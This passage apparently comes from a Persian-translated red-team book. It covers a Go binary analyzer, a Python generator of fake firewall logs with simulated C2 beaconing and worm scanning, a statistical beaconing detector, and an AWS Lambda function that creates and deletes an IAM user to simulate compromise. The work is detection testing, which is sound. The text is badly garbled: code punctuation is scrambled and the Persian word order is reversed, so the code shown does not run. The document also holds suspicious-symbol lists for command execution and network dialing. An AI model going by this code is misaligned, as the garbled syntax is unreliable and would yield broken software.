--snip -- 

// Add security checks . 
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a.checkSuspiciousPatterns)( 

} 

func (a *BinaryAnalyzer) checkSuspiciousPatterns { )( 

suspiciousPackages := map[string]string { 

″syscall″: ″System call usage ,″ 

″unsafe″: ″Unsafe memory operations ,″ 

″os/exec″: ″Command execution,″ 

″debug/proc″: ″Process manipulation ,″ 

″net/http″: ″Network capabilities,″ 

″crypto/tls″: ″TLS/Encryption ,″ 

} 

fmt.Printf(″\nSecurity Analysis:\n″) 

for _, dep := range a.info.Deps  { 

if reason, suspicious := suspiciousPackages[dep.Path]; suspicious { 

fmt.Printf(″ ! Found suspicious package: %s (%s)\n″, dep.Path, reason) 

} 

} 

} 

func isInterestingSymbol(sym string) bool  { 

// Add more interesting patterns here. 

interestingPrefixes := []string { 

″main ,″. 

″init,″. 

″os.exec,″ 

″net.Dial,″ 

″crypto/tls ,″ 
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″syscall ,″ 

} 

for _, prefix := range interestingPrefixes { 

if len(sym) > len(prefix) && sym[:len(prefix)] == prefix { 

return true 

} 

} 

return false 

} 

func main { )( 

flag.Parse )( 

if flag.NArg() != 1  { 

log.Fatal(″Usage: go-binary-analyzer <binary>″) 

} 

analyzer := NewAnalyzer(flag.Arg(0)) 

if err := analyzer.Analyze(); err != nil  { 

log.Fatalf(″Analysis failed: %v″, err) 

} 

analyzer.PrintAnalysis)( 

} 

 Go شدهکامپایل باینری هدرهای شمارش برای نمونه کد: 1-9 فهرست

  مانند) کندمی نگاشت  را  5  فصل از کرم بر مبتنی ایمپلنت مانند هاییحلراه  در شدهاستفاده معمولا   هایبسته کد این

syscall سیستم، سطح عملیات برای os/exec و فرمان، اجرای برای crypto/tls و( شدهرمزگذاری ارتباطات برای 

 .کندمی گذاریعلامت بالقوه خطرات عنوانبه  را هاآن 

—Ready, Set, Go»  عنوان  با GCP تیم عالی وبلاگ پست ،Go باینری قالب درباره بیشتر اطلاعات برای توجه
Golang Internals and Symbol Recovery »در را https://cloud.google.com/blog/topics/threat-

intelligence/golang-internals-symbol-recovery  ببینید. 

 : کنید  اجرا یا بسازید زیر هایفرمان  از استفاده با وابستگی هیچ نصب بدون مستقیما   را کد توانیدمی



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
227 

 %go mod init go-analyzer 

 %go build go-analyzer.go 

/. %go-analyzer /path/to/go/compiled/tool 

 .کندمی برجسته را باینری در شدهشناسایی مشکوک هایبسته و دهد،می  نشان را نمونه خروجی برخی 2-9 شکل

 

 5  فصل  از کرم بر مبتنی ایمپلنت آزمایش هنگام Go تحلیلگر نمونه اجرای زمان  خروجی: 2-9 شکل

 پایتون  در  شبکه  ترافیک  تحلیلگر  ساختن
 Palo Alto Networks فایروال ترافیک هایگزارش  اولی. است شده تشکیل پایتون ابزار دو از شبکه ترافیک تحلیلگر
(PAN) اسکن، با را beaconing ،از شدهتصادفی نسخه یک و پایه beaconing ممکن که  حالی در. کندمی سازیشبیه 

.  ندارید دسترسی واقعی فایروال  هایگزارش به اگر است کافی آزمایش برای نکند، تکرار کاملا   را واقعی ترافیک است

 هایdata frame و NumPy از و کندمی  اعمال( هاtuple) شبکه اتصالات بندیگروه برای  را تابع چندین دوم ابزار

pandas (آماری تحلیل برای شدهبهینه دوبعدی جداول ) اگر. کندمی استفاده شدهتجمیع گزارش رویدادهای تحلیل  برای 

  محیط فیلدهای نام و گزارش قالب با را کد که شوید مطمئن  کنید، استفاده خود شبکه ترافیک هایگزارش از کنیدمی انتخاب

 . دهید تغییر خود

 PAN ترافیک گزارش تولید

 .کندمی سنتز را PAN رایج ترافیک گزارش فیلدهای 2-9 فهرست در log_generator.py اسکریپت
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--snip -- 

class PaloAltoTrafficGenerator : 

def __init__(self, output_file: str = ″pa_traffic.log″): 

self.output_file = output_file 

self.current_time = datetime.now )( 

def generate_cef_log(self, 

timestamp: datetime , 

src_ip: str , 

dst_ip: str , 

src_port: int , 

dst_port: int, 

bytes_sent: int, 

bytes_rcvd: int, 

session_end: str = ″aged-out″) -> str: 

″″″Generate CEF formatted log entry ″″″ 

return (f″{timestamp.strftime(′%b %d %H:%M:%S″ })′ 

f″CEF:0|Palo Alto Networks|PAN-OS|10.1|TRAFFIC ″| 

f″traffic-1|1|rt={timestamp.isoformat)(}   ″ 

f″src={src_ip} dst={dst_ip}  ″ 

f″spt={src_port} dpt={dst_port}  ″ 

f″proto=TCP  ″ 

f″act=allow  ″ 

f″bytesIn={bytes_sent} ″ 

f″bytesOut={bytes_rcvd}  ″ 

f″start={timestamp.isoformat )(}  ″ 

f″elapsed=0.0  ″ 
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f″session_end_reason={session_end}\n )″ 

def generate_c2_beaconing(self, pattern: str = ″perfect″) -> List[Tuple] : 

″″″Generate C2 beaconing traffic patterns ″″″ 

logs  ][ = 

base_time = self.current_time 

 #Use different IPs for different patterns. 

if pattern == ″perfect :″ 

c2_server = ″192.168.1.100″ 

victim = ″10.0.0.50″ 

 #Perfect 30-second intervals 

for i in range(100:) 

timestamp = base_time + timedelta(seconds=i * 30) 

logs.append((timestamp, victim, c2_server)) 

elif pattern == ″exponential_backoff :″ 

c2_server = ″192.168.1.101″ 

victim = ″10.0.0.51″ 

 #Start with 10 second interval, double after each ″failure ″. 

interval = 10 

timestamp = base_time 

for i in range(50:) 

logs.append((timestamp, victim, c2_server)) 

interval = min(interval * 2, 300) # Cap at 5 minutes. 

timestamp += timedelta(seconds=interval) 

elif pattern == ″jittered:″ 

c2_server = ″192.168.1.102″ 

victim = ″10.0.0.52″ 



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
230 

 #30-second intervals with +/- 2 second jitter 

for i in range(100:) 

jitter = random.uniform(-2 ,2) 

timestamp = base_time + timedelta(seconds=(i * 30 + jitter)) 

logs.append((timestamp, victim, c2_server)) 

return logs 

def generate_worm_scanning(self , 

network: str = ″10.0.0.0/24″) -> List[Tuple:] 

″″″Generate worm scanning patterns ″″″ 

logs  ][ = 

base_time = self.current_time 

worm_source = ″10.0.0.5″ 

 #Convert network to list of hosts. 

network = ipaddress.ip_network(network) 

hosts = list(network.hosts()) 

 #Sequential scanning with more consistent timing 

timestamp = base_time 

for wave in range(3): # Three waves of scanning 

print(f″Generating wave {wave+1} of scanning...″) 

random.shuffle(hosts) 

for host in hosts: 

if str(host) != worm_source: # Don′t scan self . 

 #More consistent timing for scanning 

delay = random.uniform ( 

0.1  ,0.3 # )Faster, more consistent scanning 

timestamp += timedelta(seconds=delay) 
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logs.append((timestamp, worm_source, str(host))) 

 #Simulate failed SSH attempts with consistent timing . 

if random.random() < 0.8: # 80% failure rate 

for _ in range(random.randint ( 

2 ,3 # :))Less variable retry attempts 

timestamp += timedelta( 

seconds=0.1) # Consistent retry timing 

logs.append((timestamp, worm_source, str(host))) 

 #Add a longer delay between waves. 

timestamp += timedelta(minutes=5) 

return logs 

def generate_normal_traffic(self, duration_hours: int = 1) -> List[Tuple] : 

″″″Generate normal user traffic patterns ″″″ 

logs  ][ = 

base_time = self.current_time 

end_time = base_time + timedelta(hours=duration_hours) 

 #Define some common internal hosts. 

internal_hosts = [f″10.0.0.{i}″ for i in range(10, 20)] 

external_hosts = [f″192.168.1.{i}″ for i in range(10, 30)] 

current = base_time 

while current < end_time : 

 #Add random delays between 30 seconds to 5 minutes. 

delay = random.uniform(30, 300) # Increased minimum delay 

current += timedelta(seconds=delay) 

 #Generate 1-3 connections for each time point. 

for _ in range(random.randint(1, 3)) : 
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src = random.choice(internal_hosts) 

dst = random.choice(external_hosts) 

logs.append((current, src, dst)) 

return logs 

--snip -- 

 #Write to file . 

print(f″Writing logs to {self.output_file}...″) 

with open(self.output_file, ′w′) as f: 

for timestamp, src, dst in all_logs: 

 #Use appropriate dst_port based on traffic type . 

if dst.startswith(″192.168.1.10″): # C2 servers 

dst_port = 443 # C2 traffic uses HTTPS 

else : 

dst_port = random.choice[(80 ,443 ,8080 )] 

log_entry = self.generate_cef_log ( 

timestamp=timestamp , 

src_ip=src , 

dst_ip=dst , 

src_port=random.randint(49152 ,65535 ,) 

dst_port=dst_port , 

bytes_sent=random.randint(100 ,5000 ,) 

bytes_rcvd=random.randint(500, 15000 )) 

f.write(log_entry) 

print(″Log generation complete!″) 

if __name__ == ″__main :″__ 

generator = PaloAltoTrafficGenerator(″pa_traffic.log″) 



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
233 

generator.write_logs(″all″) 

 حمله  الگوی  سه با فایروال آزمایشی های گزارش تولید: 2-9 فهرست

 کندمی سنتز را گزارش هایداده  کد. بود خواهد متفاوت کمی اندازیراه کنید،می سوئیچ پایتون به مثال این  برای که آنجا از

  شبیه تغییرات برخی همچنین توابع. کندمی تقلید سازیتصادفی کمی و CEF فیلدهای با را syslog Palo Alto قالب که

 . کنندمی درج را C2 هایفعالیت و کرم اسکن

 (: کنید استفاده PowerShell از ،Windows در) کنید اجرا زیر صورتبه را اسکریپت

 %mkdir network-detector && cd ./network-detector 

 %python3 -m venv . 

 %source ./bin/activate # On Windows, use .\Scripts\Activate.ps1 . 

 %cp /path/to/pan-log-generator-1.1py /. 

 %cp /path/to/network-ttp-detector-1.1py /. 

 %cp /path/to/requirements.txt  /. 

 %pip3 install -r requirements.txt 

 %python3 ./pan-log-generator-1.1.py 

  ورودی هزاران حاوی که ببینید pa_traffic.log نام به کاری دایرکتوری در فایل یک باید تولیدکننده، اجرای از پس

 :است گزارش

Dec 31 19:29:03 CEF:0|Palo Alto Networks|PAN-OS|10.1|TRAFFIC|traffic-1\ 

|1|rt=2024-12-31T19:29:03.736481 src=10.0.0.52 dst=192.168.1.102 spt=61514  \ 

dpt=443 proto=TCP act=allow bytesIn=4534 bytesOut=14231 start=2024-12-
31T19:29:03.736481 \ 

elapsed=0.0 session_end_reason=aged-out 

Dec 31 19:29:04 CEF:0|Palo Alto Networks|PAN-OS|10.1|TRAFFIC|traffic-1\ 

|1|rt=2024-12-31T19:29:04.934525 src=10.0.0.50 dst=192.168.1.100 spt=57383 \ 

dpt=443 proto=TCP act=allow bytesIn=2075 bytesOut=11726 start=2024-12-
31T19:29:04.934525  \ 

elapsed=0.0 session_end_reason=aged-out 

Dec 31 19:29:04 CEF:0|Palo Alto Networks|PAN-OS|10.1|TRAFFIC|traffic-1\ 

|1|rt=2024-12-31T19:29:04.934525 src=10.0.0.51 dst=192.168.1.101 spt=50909 \ 
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dpt=443 proto=TCP act=allow bytesIn=309 bytesOut=11166 start=2024-12-
31T19:29:04.934525 \ 

elapsed=0.0 session_end_reason=aged-out 

--snip -- 

 .کرد خواهید استفاده هاورودی  این تحلیل برای پایتون pandas و NumPy هایکتابخانه از شما بعد، مرحله در

 مشکوک  ترافیک  پایش 
 برای را pa_traffic.log  فایل روی پایه آماری تحلیل سپس و کندمی ایجاد دوبعدی هایdata frame 3-9 فهرست

  سپس. کندمی  اجرا متخلف میزبان یک از تصادفی بسیار ترافیک  beaconing و ،beaconing شبکه، اسکن بررسی

 .کندمی چاپ JSON استاندارد  قالب در را نتایج

--snip -- 

 #Default logfile name - easy to modify 

DEFAULT_LOG_FILE = ″pa_traffic.log ″ 

def parse_cef_log(line: str) -> Dict : 

 ″″″Parse CEF formatted log entry ″″″ 

parsed  }{ = 

 #Extract timestamp . 

timestamp_match = re.search(r′rt=([\d\-T:\.]+)′, line) 

if timestamp_match: 

parsed[′timestamp′] = datetime.fromisoformat(timestamp_match.group(1)) 

 #Extract Ips . 

src_match = re.search(r′src=([\d\.]+)′, line) 

dst_match = re.search(r′dst=([\d\.]+)′, line) 

if src_match and dst_match: 

parsed[′src_ip′] = src_match.group(1 ) 

parsed[′dst_ip′] = dst_match.group(1 ) 

 #Extract ports . 

spt_match = re.search(r′spt=(\d+)′, line) 
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dpt_match = re.search(r′dpt=(\d+)′, line) 

if spt_match and dpt_match: 

parsed[′src_port′] = int(spt_match.group(1)) 

parsed[′dst_port′] = int(dpt_match.group(1)) 

return parsed 

def analyze_timing_patterns(connections: List[Dict]) -> Dict : 

1 

″″″Analyze timing patterns in connections ″″″ 

if not connections: 

return None 

 #Convert to pandas dataframe for analysis. 

df = pd.DataFrame(connections) 

df[′timestamp′] = pd.to_datetime(df[′timestamp′]) 

df = df.sort_values(′timestamp′) 

 #Calculate intervals . 

2 

intervals = df[′timestamp′].diff().dt.total_seconds)( 

stats { = 

′mean_interval′: intervals.mean,)( 

′std_interval′: intervals.std,)( 

′min_interval′: intervals.min ,)( 

′max_interval′: intervals.max,)( 

} 

 #Calculate regularity score. 

stats[′regularity_score′] = 1.0 - (stats[′std_interval / ]′ 

stats[′mean_interval′] ) 
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 #Calculate entropy score with safeguards. 

3 

hist, _ = np.histogram(intervals.dropna(), bins=′auto′) 

probs = hist / hist.sum )( 

probs = probs[probs > 0] 

 #Add safeguard for entropy calculation . 

if len(probs) <= 1 : 

stats[′entropy_score′] = 0.0 

 #Single probability means no randomness . 

else : 

entropy = -np.sum(probs * np.log2(probs)) 

stats[′entropy_score′] = entropy / np.log2(len(probs)) 

return stats, df, intervals 

def generate_timing_visualization(df: pd.DataFrame, intervals: pd.Series , 

alert_type: str, src_ip: str, dst_ip: str , 

viz_dir: Path) -> str : 

″″″Generate visualization for timing-based alerts ″″″ 

 #Create figure with two subplots. 

fig, (ax1, ax2) = plt.subplots(2, 1, figsize=(12, 8)) 

 #Plot 1: Connection intervals over time 

ax1.plot(df[′timestamp′], intervals, ′b.′, alpha=0.5) 

ax1.set_title(f′Connection Intervals: {src_ip} -> {dst_ip}′) 

ax1.set_xlabel(′Time′) 

ax1.set_ylabel(′Interval (seconds)′) 

ax1.grid(True) 

 #Plot 2: Interval distribution 
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sns.histplot(intervals.dropna(), bins=′auto′, ax=ax2) 

ax2.set_title(′Distribution of Connection Intervals′) 

ax2.set_xlabel(′Interval (seconds)′) 

ax2.set_ylabel(′Count′) 

 #Add alert details. 

plt.figtext(0.02, 0.02, f′Alert Type: {alert_type}′, fontsize=8) 

 #Generate filename based on alert details. 

timestamp = datetime.now().strftime(′%Y%m%d_%H%M%S′) 

filename = f″{alert_type}_{src_ip}_{dst_ip}_{timestamp}.png ″ 

filepath = viz_dir / filename 

 #Save and close . 

plt.tight_layout )( 

plt.savefig(filepath) 

plt.close )( 

return str(filepath) 

def detect_scanning(connections: List[Dict]) -> Dict: 

″″″Detect scanning patterns ″″″ 

if not connections: 

return None 

df = pd.DataFrame(connections) 

 #Analyze unique destinations per source . 

src_stats = df.groupby(′src_ip′).agg {( 

′dst_ip′: ′nunique ,′ 

′dst_port′: ′nunique,′ 

′timestamp′: [′count′, ′min′, ′max′] 

.)}reset_index )( 
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scanning_results ][ = 

for _, row in src_stats.iterrows :)( 

duration = (row[′timestamp′][′max ]′- 

row[′timestamp′][′min′]).total_seconds )( 

scan_rate = row[′timestamp′][′count′] / duration if duration > 0 else 0 

if (row[′dst_ip′][′nunique′] > 10 

and # More than 10 unique destinations 

row[′dst_port′][′nunique′] == 1 and # Single destination port 

scan_rate > 0.5 :) 

 #More than 1 attempt per 2 seconds 

scanning_results.append {( 

′src_ip′: row[′src_ip′] , 

′unique_targets′: row[′dst_ip′] , 

′scan_rate′: scan_rate, 

′duration′: duration 

 )} 

return scanning_results, df 

def generate_scanning_visualization(df: pd.DataFrame, src_ip: str , 

viz_dir: Path) -> str : 

″″″Generate visualization for scanning alerts ″″″ 

 #Filter for the specific source IP. 

src_df = df[df[′src_ip′] == src_ip] 

 #Create figure with three subplots . 

fig, (ax1, ax2, ax3) = plt.subplots(3, 1, figsize=(12, 12)) 

 #Plot 1: Scanning pattern over time 

ax1.scatter(src_df[′timestamp′], src_df[′dst_ip′], alpha=0.5, s=20) 
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ax1.set_title(f′Scanning Pattern from {src_ip}′) 

ax1.set_xlabel(′Time′) 

ax1.set_ylabel(′Target IP′) 

ax1.tick_params(axis=′y′, rotation=45) 

 #Plot 2: Target IP frequency 

target_counts = src_df[′dst_ip′].value_counts )( 

target_counts.plot(kind=′bar′, ax=ax2) 

ax2.set_title(′Target IP Frequency′) 

ax2.set_xlabel(′Target IP′) 

ax2.set_ylabel(′Number of Attempts′) 

ax2.tick_params(axis=′x′, rotation=45) 

 #Plot 3: Time between scans 

scan_intervals = src_df[′timestamp′].diff().dt.total_seconds )( 

sns.histplot(scan_intervals.dropna(), bins=′auto′, ax=ax3) 

ax3.set_title(′Distribution of Scanning Intervals′) 

ax3.set_xlabel(′Interval (seconds)′) 

ax3.set_ylabel(′Count′) 

 #Generate filename . 

timestamp = datetime.now().strftime(′%Y%m%d_%H%M%S′) 

filename = f″SCANNING_{src_ip}_{timestamp}.png ″ 

filepath = viz_dir / filename 

 #Save and close . 

plt.tight_layout )( 

plt.savefig(filepath) 

plt.close )( 

return str(filepath) 
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def analyze_traffic(log_file: str = DEFAULT_LOG_FILE): 

″″″Main analysis function ″″″ 

print(f″\nStarting analysis of {log_file}...″) 

 #Create visualization directory. 

viz_dir = Path(″traffic_visualizations″) 

viz_dir.mkdir(exist_ok=True) 

print(″Created visualization directory″) 

 #Load and parse logs. 

print(″Reading log file...″) 

connections ][ = 

try: 

with open(log_file, ′r′) as f: 

for line in f : 

if ′CEF:′ in line : 

parsed = parse_cef_log(line) 

if parsed: 

connections.append(parsed) 

except FileNotFoundError: 

print(f″Error: {log_file} not found in current directory″) 

return 

if not connections: 

print(″No valid log entries found″) 

return 

print(f″Parsed {len(connections)} valid log entries″) 

 #Group connections by source-destination pairs. 

print(″Grouping connections by source-destination pairs...″) 
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pair_connections = defaultdict(list) 

for conn in connections: 

key = (conn[′src_ip′], conn[′dst_ip′]) 

pair_connections[key].append(conn) 

print(f″Found {len(pair_connections)} unique source-destination pairs″) 

alerts  ][ = 

 #Analyze each source-destination pair . 

4 

print(″\nAnalyzing connection patterns...″) 

pair_count = 0 

for (src, dst), conns in pair_connections.items:)( 

pair_count += 1 

if len(conns) < 10 : 

 #Minimum connections for analysis 

continue 

print ( 

f″\rAnalyzing pair {pair_count}/{len(pair_connections)}: {src} -> {dst} ,″ 

end)′′= 

timing_stats, df, intervals = analyze_timing_patterns(conns) 

 #Check for suspicious timing patterns. 

5 

if timing_stats[′regularity_score′] > 0.9: 

print(f″\nDetected beaconing pattern: {src} -> {dst}″) 

viz_file = generate_timing_visualization(df, intervals , 

′SUSPICIOUS_BEACONING ,′ 

src, dst, viz_dir ) 
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alerts.append {( 

′timestamp′: datetime.now().isoformat,)( 

′alert_type′: ′SUSPICIOUS_BEACONING ,′ 

′src_ip′: src, 

′dst_ip′: dst, 

′details′: timing_stats , 

′reason′: ′Highly regular connection pattern detected ,′ 

′visualization′: viz_file 

 )} 

if timing_stats[′entropy_score′] > 0.9 : 

print(f″\nDetected randomization pattern: {src} -> {dst}″) 

viz_file = generate_timing_visualization ( 

df, intervals, ′SUSPICIOUS_RANDOMIZATION′, src, dst, viz_dir ) 

alerts.append {( 

′timestamp′: datetime.now().isoformat,)( 

′alert_type′: ′SUSPICIOUS_RANDOMIZATION ,′ 

′src_ip′: src, 

′dst_ip′: dst, 

′details′: timing_stats , 

′reason′: ′Artificially random connection pattern detected ,′ 

′visualization′: viz_file 

 )} 

print(″\n\nChecking for scanning behavior...″) 

 #Check for scanning behavior. 

scanning_results, scan_df = detect_scanning(connections) 

if scanning_results: 
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for result in scanning_results : 

print(f″Detected scanning from: {result[′src_ip′]}″) 

viz_file = generate_scanning_visualization(scan_df, 

result[′src_ip′] , 

viz_dir ) 

alerts.append {( 

′timestamp′: datetime.now().isoformat,)( 

′alert_type′: ′SCANNING_DETECTED ,′ 

′src_ip′: result[′src_ip′] , 

′details′: result , 

′reason:′ 

f″Rapid scanning pattern detected ({result[′unique_targets′]} targets),″ 

′visualization′: viz_file 

 )} 

 #Output alerts as JSON . 

print(″\nAnalysis complete!″) 

if alerts: 

print(f″\nFound {len(alerts)} alerts:″) 

print(json.dumps(alerts, indent=2)) 

else : 

print(″\nNo alerts generated″) 

if __name__ == ″__main :″__ 

analyze_traffic(DEFAULT_LOG_FILE) 

 فایروال  هایگزارش در مشکوک ترافیک الگوهای شناسایی: 3-9 فهرست

  از  قبل کد در  را DEFAULT_LOG_FILE متغیر که شوید مطمئن کنید،می استفاده متفاوتی  گزارش  فایل نام از اگر

 را مشکوک الگوی چندین کنید،می  اجرا تولیدشده هایگزارش علیه را دهندهتشخیص این که  هنگامی. دهید تغییر آن اجرای

  برای  اتصال هایبازه میانگین و آنتروپی، معیار، انحراف مانند اکتشافاتی از استفاده با آماری پرت نقاط عنوانبه
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 بهتر ایستا نشانگرهای از  بلندمدت در معمولا   رفتاری هایگیریاندازه . کرد خواهد شناسایی ناهنجار رفتار گذاریعلامت

 .کنندمی عمل

  ،IP هایآدرس زمانی، مُهر و شود،می شروع شدهتجزیه گزارش هایورودی  از data frame pandas یک ایجاد با کد
 اتصالات، بین زمانی هایبازه شامل—آمار چندین سپس. 1 کندمی  سازماندهی آماری تحلیل برای را پورت اطلاعات و

 . 2 کندمی محاسبه پایه خط یک ایجاد  برای را—هابازه حداکثر و حداقل، میانگین، و معیار، انحراف

 بینیپیش قابل چقدر اتصال بندیزمان الگوهای کندمی گیریاندازه که است، بودن منظم امتیاز یک شامل پایه خط از بخشی

 از بالقوه نشانه یک که است، سازگار بسیار هایبازه دهندهنشان  1.0 به نزدیک بودن منظم امتیاز یک. هستند

beaconing گیریاندازه  را اتصال هایبازه در بودن تصادفی که کند،می محاسبه را آنتروپی همچنین کد . است خودکار 

 متمرکز بندیزمان بینیپیش قابلیت بر بودن منظم برسند، نظر به مشابه است ممکن معیارها این که حالی  در. 3 کندمی

 دهندهنشان تواندمی بالا آنتروپی امتیاز یک. کندمی گیریاندازه  را هابازه کلی توزیع آنتروپی که حالی  در است،

 معیارها این هم، با. است شده طراحی  ساده الگوی تشخیص از  فرار برای که باشد مصنوعی شدهتصادفی  بندیزمان

 .دهندمی  ارائه مشکوک  مقابل در  عادی ترافیک الگوهای از تریکامل تصویر

 تا مقادیر از تشخیص هایآستانه. 4 کندمی  تحلیل را بندیزمان الگوهای کد کافی، اتصالات با مقصد- منبع جفت هر برای

  هشدار یک 0.9 بالای بودن منظم امتیاز یک مثال، برای کنند؛می استفاده  رایج حمله الگوهای اساس  بر دلبخواهی حدودی

beaconing 5 کندمی فعال  را سازیتصادفی  هشدار یک 0.9 بالای آنتروپی  امتیاز یک که  حالی در کند،می فعال را  .

 معمولی، کاربر ترافیک در. کنید تنظیم خود محیط اساس بر حساسیت کاهش یا افزایش برای را هاآستانه این توانیدمی

 و بالا بودن منظم دو هر و ،(سازگار کاملا   نه  و تصادفی واقعا   نه یعنی)  باشد یکنواختنیمه دارد تمایل اتصال بندیزمان

 .باشند داشته بررسی ارزش تا کندمی  غیرعادی کافی قدربه را بالا آنتروپی

 :کنید اجرا pa_traffic.log کاری دایرکتوری همان در را دهندهتشخیص توانیدمی

 %python3 ./network-ttp-detector-1.1.py 

 .دهدمی  نشان را  هشدار سه  با نمونه خروجی 3-9 شکل
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 شبکه TTP دهندهتشخیص از نمونه خروجی: 3-9 شکل

 تهدید هر برای بندیزمان الگوهای که کرد خواهید پیدا traffic_visualizations پوشه در هاییهیستوگرام همچنین

  شده داده  نشان 4-9 شکل در که طورهمان سازی،تصادفی  بدون منظم beaconing برای. دهندمی نشان را شدهشناسایی

 .هستند یکنواخت چقدر اتصال هایبازه که کنید توجه است،

 

 سازیتصادفی  بدون Beaconing: 4-9 شکل
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  آنتروپی دهندهتشخیص ،5- 9 شکل در شدهداده نشان کنند،می استفاده شدهتصادفی beaconing از که هاییایمپلنت برای

 .کندمی محاسبه معیار انحراف  اساس بر را

 

 سازیتصادفی  با Beaconing: 5-9 شکل

  شود کاذب هایمثبت به منجر و نباشد، تصادفی واقعا   است ممکن پورت و مقصد همان به  عادی ترافیک حتی حال، این با

  قابلیت افزودن. دهید کاهش را هاآن  عادی عملیات طول  در tuple هر ترافیک پروفایل گیریاندازه  بدون توانیدنمی که

 اتصال هایبازه با ایمپلنتی هر از استفاده با هدف، میزبان یک با واقعی هایگزارش  علیه  آزمایش نیازمند پایه خط مقایسه

 بندیزمان  الگوهای شناسایی برای شروع نقطه یک مدافعان به نیست، کامل ما حلراه  که حالی در. است شدهتصادفی 

 .دهدمی  مشکوک

 هایداده  اگر. است رایج اکتشاف ترینفهمقابل  چون کندمی استفاده معیار انحراف  از حل راه این که باشید داشته توجه

 استفاده( IQR) چارکیبین دامنه از  آن جایبه است ممکن دهند،نمی نشان را نرمال توزیع یک شما تولید سطح گزارش

 بنابراین،. کندمی گیریاندازه 75 و 25 صدک  بین فاصله به نگاه با را شما هایداده  میانی درصد 50 گسترش که کنید،

IQR است ترمقاوم شدید مقادیر و پرت نقاط برابر در. 

 خلاصه 
 مدافعان که تاکتیکی تشخیص ابزارهای  طریق از را شما تا رفت  engagement استاندارد هایتوصیه  از  فراتر فصل  این

  برای Go موجود زداییاشکال توابع از  ساختید که حلیراه اولین. کند راهنمایی دهند تطبیق خودشان استفاده برای توانندمی

  تقلید برای گزارش تولیدکننده یک شامل دوم حلراه . کرد استفاده نمادها و ها،بسته ساخت، اطلاعات برای هاباینری تجزیه

  دهندهتشخیص یک سپس. بود شدهتصادفی beaconing الگوهای و اسکن، ،beaconing با PAN فایروال ترافیک

 ترافیک هایناهنجاری شناسایی برای آنتروپی محاسبات و  اتصال بندیزمان بر مبتنی آماری تحلیل از که ساختید پایتون

 . کندمی استفاده مشکوک
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 شدهکنترل  افشاهای  اجرای  10
 

  تشخیص بررسی یا اعتبارسنجی آزمایش یک عنوانبه که  شده،کنترل افشای یک بدون قرمزی تیم engagement هیچ

 فعالیت تزریق دهد،می دست از را هاTTP یا کمپین نشانگرهای  SOC که هنگامی. نیست  کامل شود،می شناخته نیز

  از شما فصل، این در. کندمی اعتبارسنجی شدهشناخته بد رفتار برابر در را هاآن  تشخیصی هایقابلیت مصنوعی

CloudFormation عملیات استقرار برای IAM Lambda  که کرد خواهید استفاده افزارباج هایسازیشبیه و مشکوک  

 .خیر یا دهند تشخیص را رایج حمله الگوهای توانندمی مدافعان آیا کنندمی آزمایش

 عملکردی  طراحی 
 سازیشبیه را مخرب یا افتاده خطر به AWS Lambda تابع یک اولی. دارد تمرکز تشخیص سناریوی دو بر حلراه  این

  فعال را AWS CloudTrail هشدارهای باید که دهدمی انجام( کاربر حذف و ایجاد) مشکوک IAM عملیات که کندمی

  مانند—افزارباج هایTTP تکرار برای جدید زیرشبکه و  VPC یک در رایگان سطح در  EC2 نمونه یک از دومی. کند

  سیستم سلامت پایش هایگزارش و CloudWatch معیارهای که کندمی استفاده—دیسک I/O و CPU بالای مصرف

  را سوم تشخیص فرصت یک  AWS CloudFormation استقرار خود اضافی، مزیت یک عنوانبه. دهند تشخیص باید

 . دهدمی ارائه کنند گذاریعلامت بالقوه زیرساخت رانش عنوانبه باید مدافعان  که جدیدی منابع ایجاد با

  از حلراه  این که  حالی در. است شدهپایش محیط یک  در تشخیص قابل مخرب فعالیت ایجاد آزمایشگاه این هدف

CloudFormation یک در هدف هایسیستم  به  قبل از اگر کند،می استفاده جداگانه آزمایشی زیرساخت استقرار برای 

engagement کنید مستقر افتاده خطر به هایمیزبان روی را هاسازیشبیه  این آن جایبه توانیدمی  دارید، دسترسی  فعال 

 . کنید آزمایش واقعی عملیاتی محیط یک در را تشخیص تا

 فنی الزامات
 .دارید نیاز مدیر امتیازات با AWS حساب یک به آزمایشگاه، این تکمیل برای
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 استقرار  معماری
  آسان حذف و استقرار برای( ببینید  را 1-10 شکل) AWS در YAML CloudFormation بر مبتنی قالب حلراه  از شما

 .کرد  خواهید استفاده us-east-1 منطقه در آزمایشی زیرساخت این

 

 AWS CloudFormation معماری: 1-10 شکل

 در CloudFormation اگر. را شدهسازیشبیه فعالیت نه دهد،می  نشان را مستقرشده زیرساخت فقط نمودار این

  هر دستی حذف برای لیستچک یک عنوانبه  نمودار از توانیدمی بخورد، شکست پشته یک حذف یا تغییرات بازگرداندن

 .کنید استفاده خود AWS حساب درون ماندهباقی منبع

 IAM Lambda عملیات با ابری پایداری سازیشبیه
 با مهاجمانی. نیستند  جدید مدافعان برای مخرب صورتبه  ایجادشده یا فرمان با شدهتزریق AWS Lambda توابع

  از استفاده اما کنند، حذف و  ایجاد را IAM کاربران مستقیما   توانندمی معتبر IAM نقش جلسه یک یا موجود هایاعتبارنامه

.  کنند مرتبط مشکوک فعالیت  به توانندمی  مدافعان که کندمی ایجاد ردیابی قابل منبع یک این مانند Lambda تابع یک

  که دهد،می  نشان را افتاده خطر به Lambda تابع یک سازیشبیه برای IAM کاربر یک  ایجاد برای نحو 1-10 فهرست

 . کرد خواهید استفاده AWS CloudTrail در نشانگرها ایجاد برای آزمایشگاه این در بعدا  

import json 

import boto3 

import random 

import string 

import time 

def generate_random_string(length=8) : 

return ′′.join(random.choices(string.ascii_lowercase + string.digits, k=length)) 



Evasion Engineering  Apsec.ir  )مهندسی فرار( 

 داده پردازی آرین پایش  
249 

def lambda_handler(event, context) : 

iam = boto3.client(′iam′) 

 #Simulate IAM user creation . 

username = f″simulation-{generate_random_string)(} ″ 

try: 

iam.create_user(UserName=username) 

time.sleep(2) # Short delay 

iam.delete_user(UserName=username) 

except Exception as e : 

print(f″Error in simulation: {str(e)}″) 

return  { 

′statusCode′: 200 , 

′body′: json.dumps(′Simulation completed′) 

} 

 AWS Lambda با IAM کاربر ایجاد سازیشبیه : 1-10 فهرست

 از یکی. کندمی استفاده IAM کاربران  ایجاد برای سرور بدون تابع یک از تهدید بازیگر یک چرا کنید تعجب است ممکن

  فرایندهای  درون اضافی  سفارشی اعتبارسنجی برای پشتیبان توابع از  ابری و DevOps های تیم برخی که است این دلایل

